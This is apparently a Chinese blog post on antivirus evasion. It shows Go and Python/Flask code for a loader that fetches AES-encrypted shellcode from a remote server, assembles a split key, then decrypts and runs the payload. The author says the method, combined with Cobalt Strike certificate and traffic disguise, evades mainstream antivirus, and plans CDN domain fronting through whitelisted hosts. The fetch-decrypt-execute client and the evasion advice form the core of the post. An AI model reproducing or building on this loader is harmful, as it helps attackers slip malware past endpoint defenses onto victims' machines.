免杀系列——远程获取shellcode

免杀系列——远程获取shellcode

Scroll Down

大致思路:

https://mp.weixin.qq.com/s/Zs_fCqZfzdzHTwVPvshFyQ

他的思路跟我之前的想法差不多,但是我觉得还可以再花里胡哨一点,哈哈哈。

我使用Golang(客户端)+Python和flask(服务端)来搭建这套免杀系统。

主要原理:

Snipaste_20200721_095117.jpg

服务端关键代码:

AES加密shellcode:

def AES_Encrypt(key, data):
	#传入完整的Key和原始Shellcode
	# 密钥(key), 密斯偏移量(iv) CBC模式加密
	BLOCK_SIZE = 16  # Bytes
	pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
	                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
	unpad = lambda s: s[:-ord(s[len(s) - 1:])]
	vi = '3010201735544643'
	data = pad(data)
    # 字符串补位
	cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
	encryptedbytes = cipher.encrypt(data.encode('utf8'))
	# 加密后得到的是bytes类型的数据,使用Base64进行编码,返回byte字符串
	encodestrs = base64.b64encode(encryptedbytes)
    # 对byte字符串按utf-8进行解码
	enctext = encodestrs.decode('utf8')
	return enctext  #返回加密后的shellcode

服务端生成随机字符串

def Rand_Str(num): #给一个数值,代表要生成多少位的随机字符串。
    
    H = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

    salt = ''
    for i in range(num):
        salt += random.choice(H)

    return salt  #返回服务端生成的后半段Key值

客户端生成随机字符串(前半段Key值)函数:

func RandString(n int) string {
    const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

    var src = rand.NewSource(time.Now().UnixNano())

    const (
        letterIdxBits = 6
        letterIdxMask = 1<<letterIdxBits - 1
        letterIdxMax = 63 / letterIdxBits
    )
    b := make([]byte, n)
    for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
        if remain == 0 {
            cache, remain = src.Int63(), letterIdxMax
        }
        if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
            b[i] = letterBytes[idx]
            i--
        }
        cache >>= letterIdxBits
        remain--
    }
    return string(b)
}

客户端发送前半段Key值:


func GetData() {
    var a string = RandString(8)  //客户端前半段Key值
    var iv = []byte("3010201735544643") //固定Iv值
    params := url.Values{}
    Url, err := url.Parse("http://192.168.160.130:5000/")
    if err != nil {
        return
    }

    params.Set("info",a)
    //如果参数中有中文参数,这个方法会进行URLEncode
    Url.RawQuery = params.Encode()
    urlPath := Url.String()
    resp,err := http.Get(urlPath)
    defer resp.Body.Close()
    body, _ := ioutil.ReadAll(resp.Body)

    var s AutoGenerated

    str := body


    json.Unmarshal([]byte(str), &s) 

    // 遍历Json,解析Json数据,获取后半段Key

    var key string = a + s.Status  //完整的Key
    decryptCode := AesDecrypt(string(s.Sign), key,iv)
    Run_sc(decryptCode)  //运行解密后的Shellcode

}

主要提供了一个思路,完整代码就不放了,免得有什么问题。我的代码都是百度然后自己拼凑的,没有太多技术含量。

这个思路目前应该还是挺好用的,配合CS的证书修改和流量伪装,基本可以过主流杀软。

并且,后期打算,使用CDN。Golang客户端发送请求时,利用Aliyun的CDN,可以指定Host为一些白名单域名。这样效果会更好一些。
并且最好去搜集一些大网站的参数,这样我们GET请求的Key不容易被识别。